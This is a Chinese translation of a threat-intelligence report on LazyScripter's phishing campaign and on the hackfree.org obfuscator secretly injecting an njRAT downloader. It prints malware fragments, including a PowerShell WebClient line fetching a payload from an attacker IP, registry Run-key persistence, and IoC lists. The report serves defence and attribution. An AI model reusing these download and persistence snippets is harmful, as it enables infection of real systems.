LazyScripter、HackFree、钓鱼邮件、水坑攻击、VBS混淆
2021年7月,Lab52发现了一场针对欧洲重要组织的感染行动。经调查发现这些攻击背后的实施者是LazyScripter,一个于2021年2月被MalwareBytes发现的新兴APT组织。
目前基于LazyScripter的攻击样本能够精准地分析其在2021年的行为。此外,Lab52识别出了攻击者在原有TTPs上使用的新技术,并发现攻击者新的基础设施。
在对攻击样本的分析中,除了上述信息外还能发现攻击者使用的一个免费流行的在线脚本混淆工具存在问题,它会在LazyScripter恶意软件中注入njRAT的下载器。这意味着,如果某些设施被使用了该在线混淆工具的LazyScripter样本成功攻击,它很有可能同时被两个不同的威胁团伙入侵。
在这次行动中攻击者采用钓鱼邮件作为初始攻击向量。其主要手法是伪装成相关的国际组织发送招聘信息,如联合国世界旅游组织(UNWTO)或者国际航空运输协会(IATA)。在恶意邮件中,攻击者通常会放上三个压缩附件:1个pdf文档和2个JavaScript文件。
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
攻击者并未在第一个pdf文档中内嵌执行任何恶意行为的代码。文档元数据表明在2021年7月13日该文档被Foxit PDF编辑器所编辑,这个日期距离本场攻击行为被确认仅有1个月之隔。以下是元数据信息:
1.制作软件:Foxit PhantomPDF Printer Version 9.6.0.1818
2.创建日期:2020年11月10日 08:30:41 星期二
3.修改日期:2021年07月13日 22:17:50 星期二
在该文档中唯一使用的技术点是建议用户点击的超链接,该超链接用于获取虚假WTO工作机会的更多信息。
此链接将打开浏览器并访问域名securessl.fit,该域名在2021年7月17日注册并解析到IP地址192.64.119.125。该IP与网络提供/托管商NameCheap相关联。
最终跳转的URL观察如下:服务器对HTTP请求作302响应,并重定向到一个.zip文件的下载地址。截至2022年3月17日,该IP已不提供文件下载服务。
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
图2:通过PDF文档超链接获得的最终HTTP响应页面
通过对该域名的HTTP通信流量做分析,可以发现重定向过程被隐藏在.duckdns.org域名后,duckdns是亚马逊提供的免费动态域名解析服务。
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
该域名会被解析至IP地址66.29.130.204。由于原始请求重定向到该IP地址时使用了TLS加密,除了以上信息外其他重定向过程中的信息均没有办法获知。
此外,该IP地址也被观察到和域名server1.gowaymevps.xyz(于2021年5月12日注册)相关联。
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
与pdf文档一同被投递的另外两个JavaScript文件除了文件名不一样,内容完全相同(甚至文件哈希都相同),它们的名字分别是LIST OF AVAILABLE JOBS.js和SALARY AND HIRING CONDITIONS.js。
这份高度混淆的JavaScript只有一个目的:下载第二个VBS脚本。VBS脚本会被注册至如下两个路径的注册表项:
1.HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRuntk
2.HKU*SoftwareMicrosoftWindowsCurrentVersionRuntk
wscript.exe //B "C:UsersLucasAppDataRoamingtk.vbs"
|
从这里开始事情变得有趣。通过对这些第二阶段VBS脚本的初步观察可以发现C2通信请求,其通信请求的目标为stub.ignorelist.com(IP地址45.91.92.112,端口449),通信方式为HTTP POST请求。
现在可以根据先前的其它调查报告找到攻击归因:过去的报告显示stub.ignorelist.com曾被LazyScripter组织用于他们早先的攻击活动。
HTTP请求被发送到URI路由“/is-ready”上,其User-Agent请求头中携带受感染系统的初始化信息:
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
此外,VBS脚本也会将如下.lnk文件下载到磁盘:
C:UsersLucasAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupwindowsUpdate.lnk
$NQJLOJWQ=(Get-ItemProperty HKCU:Software).Sat;
$WASUXIQO=(Get-ItemProperty HKCU:Software).Dat;
$NILSHSEJ=(Get-ItemProperty HKCU:Software).Gat;
|
这些命令所指向的注册表键值包括如下这些Powershell命令:
[System.Net.WebClient]$webClient=New-Object System.Net.WebClient;
[System.IO.Stream]$stream=$webClient.OpenRead(‘http://185. 81.157.186/NDA/199.png’);
[System.IO.StreamReader]$sr=New-Object System.IO.StreamReader -argumentList $stream;
[string]$results=$sr.ReadToEnd();
|
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
由于VBS样本在启动文件夹中建立了第二个用于持久化的攻击组件(.lnk文件,且连接到不同的C2服务器),该攻击组件可能别有目的。以下展开详细分析:
对VBS脚本去混淆后可以识别出恶意软件样本是Houdini编写的H-Worm,但在H-Worm代码前有一行经过轻微混淆的代码。该行代码负责实施第二种持久化行为(使用lnk文件和不同的C2建立新持久化)。
虽然第一个提到的IP地址和域名或感染链不容易通过开源情报关联到相关恶意活动,但是后一个C2服务器在各种地方都被标记为恶意的。
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
经过开源情报搜集发现目前没有域名指向此IP地址上,但它曾被hackfree.org域名解析。hackfree.org是一个全球排名前100万的域名,主要提供一些具有攻击操作/技术的web服务:
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
这个发现暂时有些令人困惑,先将注意力集中至下载的VBS脚本。此脚本经过复杂的嵌套混淆后实现 H-Worm型 的 RAT功能,并在开头附加一个额外的混淆行。
开头的混淆行创建一个新的脚本对象,该对象将执行解混淆的代码。经过解混淆获得了真实代码的逻辑,真实代码的第一部分包括识别受感染系统的架构,第二部分创建了嵌套的 ScriptControl 对象用于添加实现整个 H-Worm 的代码。H-Worm代码是从数组中读取的,该数组位于文件的最后一行(注释行),并且包含 16153 个经过混淆的元素。
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
因此该VBS脚本充当了最终攻击组件的某种加载器。最终组件已经在前面提到的后一行注释行中完全实现。为了比较收集到的不同样本,Lab52实现了一个自动解混淆机,可以直接获得注释行中实现的解混淆后的代码。分析发现,在多个样本中,第一行解混淆代码都位于H-Worm代码之前。
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
图13:最终解混淆的VBS payload(H-Worm)
在分析上图红线处不存在于H-Worm源码的额外可疑代码之前,首先给出如下比较直接的猜测:LazyScripter成员手动添加了这些行并出于某些个人原因在脚本内放置了样本制作的日期。但是逻辑上不太成立,因为这看上去像是LazyScripter用每个样本制作的精确日期奖励威胁/取证分析师的分析工作。
在分析之后发现,样本会将当前日期与硬编码日期进行比较。如果硬编码日期已到达或者过去,样本就会在H-Worm代码结束时执行附加的特定功能。此函数只会下载先前描述的.lnk文件并设置所提到的注册表项值,以便下载njRAT样本。即使H-Worm的作者Houdini与njRAT的开发有所关联,该代码片段也不是H-Worm已知实现的任何一部分代码,并且如果将它作为来自同一感染行动的TTPs来看也较为奇怪。
为了弄清其中的意义,分析人员尝试对hackfree网站的混淆功能进行快速检验,以下是详细过程:
由于之前发现LazyScripter可能一直在使用hackfree.org为VBS脚本提供的在线混淆服务,所以分析人员尝试创建自己的仿制VBS脚本,并将其提交给hackfree网站获得混淆样本,然后利用实现的自动解混淆机对混淆样本作解混淆以进行观察。
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
图15:通过hackfree网站获得的混淆仿制VBS脚本
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
通过对解混淆样本的分析发现,hackfree.org将他们自己的恶意软件通过网站注入到每个混淆脚本中,这会导致使用hackfree.org做混淆的恶意软件产生双重感染,或者用于合法用途的混淆脚本被暗中感染。因此得出结论:hackfree.org网站很可能是一场水坑攻击。
最终Lab52确认了LazyScripter和HackFree的IoC,并得到LazyScripter行动的主要攻击设施和感染链图解:
![LazyScripter的“偷懒”脚本:单次混淆中的双重攻击 LazyScripter的偷懒脚本:单次混淆中的双重攻击]()
图17:LazyScripter的H-Worm行动主要基础设施
0fc8d0c3b6ab22533153b7296e597312fc8cf02e2ea92de226d93c09eaf8e579
|
|
77afef33c249d4d7bb076079eff1cca2aef272c84720e7f258435728be3bf049
|
|
82f6c8b52103272fcfb27ac71bd4bff76ee970dd16e5cdf3d0cfb75d10aa0609
|
|
5803ded992498b5bd5045095ca1eab33be8a4f9d785fdfc8b231127edf049e72
|
|
f5359df2aaa02fbfae540934f3e8f8a2ab362f7ee92dda536846afb67cea1b02
|
|
c685897eb3f32ced2b6e404e424ca01d0bc8c88b83da067fbef7e7fe889cffad
|
|
23ea10f4b1a73a4e8b13466fff8983110216779d2d3cefe1fc151c6bb65c3b42
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
http://185.81.157.186/NDA/199.png
|
|
http://157.245.250.76/MORE%20INFORMATION%20ON%20OFFERS.zip
|
|
|
|
|
|
|
|
|
|
internetexploraldon.sytes.net
|
|
jbizgsvhzj22evqon9ezz8bmbupp1s6cprmriam1.duckdns.org
|
|
saqicpcgflrlgxgoxxzkbfrjuisbkozeqrmthrzo.duckdns.org
|
|
u1153246fov.ha004.t.justns.ru
|
|
HKLMSOFTWAREWow6432NodeMicrosoftWindowsCurrentVersionRuntk
|
|
HKU*SoftwareMicrosoftWindowsCurrentVersionRuntk
|
|
C:UsersLucasAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupwindowsUpdate.lnk
|
|
原文:https://lab52.io/blog/very-very-lazy-lazyscripters-scripts-double-compromise-in-a-single-obfuscation/
本文为CNTIC编译整理,不代表本公众号观点,转载请保留出处与链接。联系信息进入公众号后点击“关于我们”可见。
原文始发于微信公众号(国家网络威胁情报共享开放平台):LazyScripter的“偷懒”脚本:单次混淆中的双重攻击
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/895709.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
评论